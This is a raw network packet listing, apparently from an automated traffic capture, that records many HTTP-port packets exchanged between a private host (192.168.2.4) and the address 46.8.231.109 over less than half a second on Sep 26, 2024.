Sep 26, 2024 19:05:15.757235050 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:15.757239103 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.757251024 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.757267952 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.757287979 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.757297993 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.757316113 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.757317066 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:15.757317066 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:15.757337093 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.757368088 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:15.757368088 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:15.757414103 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:15.757550955 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.757563114 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.757580996 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.757597923 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.757600069 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:15.757615089 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.757617950 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:15.757668018 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:15.757668018 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:15.758656025 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.758670092 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.758691072 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.758706093 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.758734941 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:15.758805037 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:15.837798119 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.838089943 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:15.838138103 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.838150978 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.838337898 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.838347912 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.838366032 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.838396072 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:15.838396072 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:15.838438988 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:15.838460922 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.838527918 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:15.838833094 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.838855028 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.838879108 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.838890076 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.838905096 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:15.838905096 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:15.838946104 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:15.839734077 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.839751959 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.839761019 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.839781046 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.839791059 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.839811087 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.839829922 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:15.839894056 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:15.840797901 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.840809107 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.840827942 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.840843916 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.840857029 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.840863943 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:15.840902090 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:15.840902090 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:15.841187954 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.841200113 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.841217041 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.841231108 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.841245890 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.841260910 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.841270924 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:15.841270924 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:15.841320038 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:15.841844082 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.841861010 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.841878891 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.841890097 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.841902018 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.841933012 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:15.841933012 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:15.841993093 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:15.843178988 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.843192101 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.843209982 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.843220949 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.843235970 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.843249083 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:15.843255043 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.843298912 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:15.843298912 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:15.844146013 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.844158888 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.844177008 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.844194889 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.844216108 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:15.844444036 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:15.844666958 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.844679117 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.844731092 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:15.844794989 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:15.844841957 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.844854116 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.844871998 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.844927073 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:15.844927073 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:15.845808029 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.845819950 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.845841885 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.845854044 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.845870018 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.845904112 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:15.845962048 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:15.846282005 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.846293926 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:15.846364975 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.126998901 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.127185106 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.127188921 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.127254009 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.127260923 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.127324104 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.127331018 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.127407074 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.127465963 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.127517939 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.127540112 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.127563953 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.127616882 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.127616882 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.127842903 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.127872944 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.127916098 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.127927065 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.127937078 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.127968073 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.128034115 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.128034115 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.128720045 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.128890991 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.128905058 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.128969908 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.129024029 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.129024029 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.129034042 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.129098892 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.129441977 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.129493952 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.129544973 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.129544973 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.129575968 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.129631042 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.129659891 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.129733086 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.130285025 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.130387068 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.130407095 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.130451918 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.130497932 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.130497932 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.130516052 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.130589962 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.130599022 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.130686045 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.131094933 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.131145000 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.131167889 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.131176949 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.131207943 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.131223917 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.131234884 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.131304026 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.131947041 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.132028103 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.132031918 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.132082939 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.132092953 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.132157087 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.132170916 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.132234097 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.132596016 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.132675886 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.132718086 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.132718086 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.132742882 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.132797003 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.132819891 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.132860899 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.133368969 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.133400917 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.133424997 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.133443117 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.133443117 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.133451939 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.133461952 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.133548975 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.134104967 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.134144068 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.134157896 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.134171963 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.134186983 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.134211063 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.134211063 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.134212971 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.134248018 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.134293079 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.134923935 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.134948015 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.134985924 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.135001898 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.135001898 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.135014057 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.135037899 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.135045052 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.135072947 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.135085106 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.135763884 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.135785103 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.135821104 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.135838985 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.135843039 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.135843039 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.135867119 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.135919094 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.135919094 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.136466026 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.136486053 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.136512041 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.136538982 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.136554003 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.136554003 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.136591911 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.137257099 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.137278080 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.137319088 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.137343884 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.137343884 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.137384892 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.138048887 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.138070107 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.138093948 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.138114929 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.138123989 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.138123989 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.138149977 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.138155937 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.138200998 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.138200998 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.138923883 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.139064074 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.139058113 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.139139891 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.139148951 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.139193058 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.139203072 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.139287949 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.139293909 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.139380932 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.139662981 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.139730930 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.139738083 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.139775991 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.139796972 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.139863968 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.139919043 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.139919043 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.139945984 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.140007973 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.140480042 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.140549898 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.140563965 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.140625954 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.140645981 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.140686989 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.140690088 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.140777111 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.141232967 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.141295910 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.141302109 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.141356945 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.141406059 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.141406059 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.142141104 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.142204046 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.142241955 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.142267942 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.142270088 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.142386913 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.142817974 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.142899036 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.142963886 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.142963886 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.142965078 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.143006086 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.143028021 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.143090963 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.143584967 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.143649101 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.143651962 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.143697023 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.143717051 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.143764973 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.143774986 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.143866062 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.144392014 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.144445896 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.144455910 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.144537926 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.144586086 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.144586086 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.144603014 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.144668102 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.145387888 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.145493031 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.145497084 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.145576954 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.145591974 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.145620108 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.146253109 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.146337032 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.146399021 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.146418095 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.146418095 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.146450996 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.146464109 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.146567106 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.147130013 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.147212982 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.147228003 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.147294998 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.147308111 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.147412062 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.147670984 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.147751093 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.147774935 CEST	80	49735	46.8.231.109	192.168.2.4
